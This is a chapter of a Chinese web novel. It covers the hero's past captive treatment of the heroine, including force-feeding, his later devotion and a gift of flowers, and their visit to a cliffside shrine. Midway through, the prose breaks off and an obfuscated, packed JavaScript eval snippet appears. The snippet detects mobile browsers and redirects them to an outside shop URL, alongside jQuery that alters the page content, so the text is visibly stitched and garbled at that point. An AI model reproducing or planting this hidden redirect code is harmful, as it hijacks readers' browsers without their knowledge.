37. 一颗真心
作品:《重回反派少年时》 前世。
自从奚映雪到了燕王府,历经重阳宫变、太子一党惨遭屠戮那场腥风血雨之后,府中但凡能寻短见的器物,皆被严加看管,身边侍女更是寸步不离。
几乎找不到什么破绽。
此番绝食明志,奚映雪知道,凌昱以为她会像惯例那般,没多久就害怕了、求饶了。但那一次,她就是一句软话都没说过。
于是第三日,凌昱面色阴鸷地出现了。
他也是不死心,眼见侍女轮番劝说无功而返后,继而搬出将军府满门荣辱,以她父亲与兄长的性命相要挟。
大概真抱了必死的决心,奚映雪无动于衷。
到最后,凌昱完全无计可施,又看不过女郎的逐渐虚弱,故而只能自己上。
刚从朝堂上回来的燕王,一手拿着粥匙,一手捏着她的莹白小巧的下颌,强行喂食。待她受不住力,被迫咽下两口薄粥后,凌昱才面色微霁。
哪怕一些汤粥弄脏了那身紫色绫罗袍上,他还是勾起一抹阴郁的笑。
“闹了这么久,还不要乖乖吃饭。”
仿佛,这就是他心中那个折中的办法——既满足了他那猎奇的征服欲,奚映雪也被迫吃了饭,算是服了软吧,自然也就不会再绝食。
但他很快就笑不出来了。
因为,盈盈泪水凝在清瘦的女郎眼中。
不过数日,她比起刚来王府时丰润、娇俏的模样,已经瘦了一圈,苍白如雪的小脸不过男人的巴掌大,可怜兮兮地皱着眉,泪珠子滑过那张带着病气也楚楚可怜的面庞。
“啪”。
一滴清泪,砸在他的手上,像一记重拳砸在心上。
凌昱骤然僵住,先是眉头紧蹙,旋即心头翻涌着一股从未有过的慌乱。突然觉得,他是不是真的做错了,真的太过分了些。
从来没有反思所作所为的他,在看见她落泪的刹那,感受到了莫名的心悸,心脏酸涩难言,十分不舒服。
他好像……后悔了。
不受控制的情绪来得突兀,却又清晰明了,简直叫人无法再忽视,凌昱抬手,拭去女郎腮边泪痕,起身拉开两人的距离,冷冷地看着她。
“.......”
“奚远峥,会活着。”凌昱紧绷着脸吐出一句,一字一顿。
而后,他转身,有些慌乱似的匆匆离去,好像见了什么洪水猛兽。
奚映雪也是后面才品出来,这是凌昱少有的承诺:他会保住自己的父亲,哪怕不能免牢狱之苦,至少性命无虞。
那之后,凌昱也没出什么出格的事了,连羞辱她的次数都变少了。只偶尔来卧房看她,目光阴沉,气势压迫。
她从开始的惴惴不安,逐渐变的平静。
偶尔,她也会怀疑,凌昱是不是被拿了什么私藏她的把柄,不然为什么天天那么忙,忙到深夜才回府,还非要来看她。
本就阴郁的脸庞,在那黑暗中显得愈发沉了。
奚映雪却一副无所谓的样子,雷声大雨点小。
.......
“还需要什么?要不要我去寻些吃食过来?”
听见这磁性的嗓音,奚映雪飘忽的思绪又被拉回现实。她抬眸,望向眼前的男人。
凌昱拿着那灌好清水的羊皮囊带,袖口挽到了小臂处,些微凌乱的鬓角也染上了几滴水珠,额头也因为不停歇的动作,沁出一些薄汗。
他的脚下蠢蠢欲动,仿佛在等待少女一个指示,他就会像脱了缰的看门犬一样窜出去找食物回来。
“我还想要一束花。”奚映雪眨了眨眼,圆澄如珠玉的眼瞳骨碌碌地转。
“好,你在此等我。”
凌昱颔首应下,二话不说就走了,甚至都没说,这大冬天的,在戈壁滩、山脉之中,如何去找一束花过来?
奚映雪平复呼吸,眸底泛起深深的思索。
她本以为,前世,两人就是仇人关系,凌昱想羞辱死对头太子凌瑾瑜,不但要夺他江山帝位,还要夺取他的妻子,才将身为太子妃的自己囚禁在王府中,以此宣泄他那扭曲阴狠的恨意。
同时,他对她也无任何好感,经常时不时地言语嘲讽、刺激一下,逼她内心臣服,不过是为了彰显他至高无上的权势。
这份特殊的仇恨,只针对于“太子妃”这个身份,恰巧那个人是她,只能认倒霉受罪了。
也幸好她生得样貌不错,故而苟活了一年。
然而现在,好像一切真相都在浮出水面。
前世他色厉内荏的阴沉恐吓,为她复仇的愤怒,孤注一掷自刎的结局......难道,凌昱很早之前,便对她动了心?不只是受美色蛊惑、争强好胜那么简单?
他对她……早有真心?
思及此,奚映雪心跳蓦地加快了一些,心绪翻涌,难以平复。
刚要继续想,眼前忽然递来一束鲜花。
冬日的阳光穿过那丛娇嫩的、小巧玲珑的,像小喇叭一样的小黄花,照耀出点点星辰,映凌昱那张俊美且带着寒春水汽的脸庞上,幽深的绿瞳满满当当都是少女的身影。
他的嘴角凝着一丝笑意,“喜欢吗?”
奚映雪伸手接过,垂眸凝视着这束金黄色小星星。
凌昱一瞬不瞬地望着她,那雪白的漂亮小脸上纵然没什么表情,还是又俏又娇,长长的睫毛轻轻遮住澄澈的眼瞳,他怎么看怎么喜欢。
可渐渐地,他又觉得,奚映雪沉静得有些不对劲,好像是,看着那束花在想其他什么事。
凌昱蹙着眉道:“不喜欢?此地寒冷,只寻得到这黄素馨。等再过一两个月,春暖花开,我再去找其他花朵......”
“不必!”奚映雪醒过神,赶紧回答。
凌昱将她失神看在眼里,心里莫名有些紧张,哪怕是这么小的一件事,他还是生怕少女不高兴。
方才短暂离开,他脑子里还是不断播放着少女的片段:她笑,他也心尖雀跃;她烦闷,他一颗心也闷闷地不痛快。
同时,一边想着,去远一点地方寻些珍稀的花朵,叫她高兴;一边又迫不及待想要回到她身边,短暂的分离也居然如此难以忍受。
此时,少年还不知道,他正因为动情而沉沦。
“迎春花是春天的诗,是春天要来的意思呢!”
奚映雪抬起头,朝着他展颜一笑,眉眼弯弯,冰雪初融。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269665|195648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
凌昱如愿以偿看到了少女明媚的笑脸,眼睫颤动,也慢慢勾了下唇。
-
哪怕二人行动速度稍慢,还是在天黑前,抵达了焉支山脚下的城镇。
河源祠堂依山而建,矗立在半山腰危崖之上。
据说,它是在一支神秘部落建造的,专门用于供奉与祭祀,见证过无数游牧部落的盟誓,接纳过往来商旅的祈愿,更藏着一段被岁月尘封的秘辛——
它的后殿密室,曾是星轨族的集会之所。
奚映雪在山下,看着那在危崖上悬空而建的木质祠堂,不禁心生慨叹。北疆部落之中,竟也有这般巧夺天工的能人,以山为基,将承重木梁深深嵌入岩石之中,历经风雨而不倒,实在令人叹服。
别有一番气势雄浑,古朴苍凉。
这一路,路途艰难,如非有人引路,奚映雪是万万找不到此地的。
这上山步道,狭窄到仅容一人通过,步道一侧是山体,一侧就是万丈深渊,每一步都需要鼓足勇气。
凌昱在前,奚映雪在后,两人沿着步道前行许久。
半晌后,二人步入主殿。
河源祠堂幽深的主殿寂静得好似大漠的深夜,空气中残留着的酥油香气,混着沙砾与松枝的气息,是这里唯一的一丝生气。
“你是中原而来的吧?”一道女声,打破了寂静。
两人齐齐转头,看见一个年轻女子。
那女子叫青姑,高颧骨,皮肤嫣红,带着一个奇异的钹笠帽,一套装扮显出她并非汉人。当看见外人时,从她微颤的指尖与紧绷的肩颈间,却很明显能看出她的不安。
奚映雪并不惊讶,凌昱周身常年萦绕的肃杀之气,向来会让初见者心生怯意,她对此早已习以为常。
只见凌昱与守祠的青姑说了几句。
“我们来自大夏朝,”凌昱缓缓开口,嗓音低沉如古寺铜钟,“如今云游西陲,只为朝拜河源祠堂的圣迹。”
青姑眉眼间带着草原儿女的淳朴,眼底藏着一丝不易察觉的警惕,“你是第一次来这里?”
“此前只闻其名,未曾亲至。”凌昱微微颔首,语气平淡。
“白日里,祠外星草漫坡,殿顶石刻,才更显圣灵之意。”青姑轻声说道,目光望向殿外被星光染亮的沙丘。
“我们是来朝拜星图的,劳烦通报。”
凌昱微微躬身,姿态恭敬,眼底却无半分虔诚。
“......”
这句话像什么开关一样,青姑听完就走了。
相比起凌昱的镇定淡然,奚映雪则是缓缓打量着这个祠堂内部。
除了少数民族的装饰外,还有一些佛像,道教的刻字石碑,给这个祠堂增添了一些神秘意味。
怎么会有人想在陡峭的悬崖峭壁上修建一座祠堂?又为什么要将北疆文化、佛、道三教的理念融于一体的?
以及,这里如此幽深,又是何人会来此朝拜?
就在奚映雪思绪神飞间,那女子回来了。
“祠主有令,许你入内。想来,你定有不凡的机缘与靠山吧。”青姑的语气里带着几分试探。
三人遂入后殿。

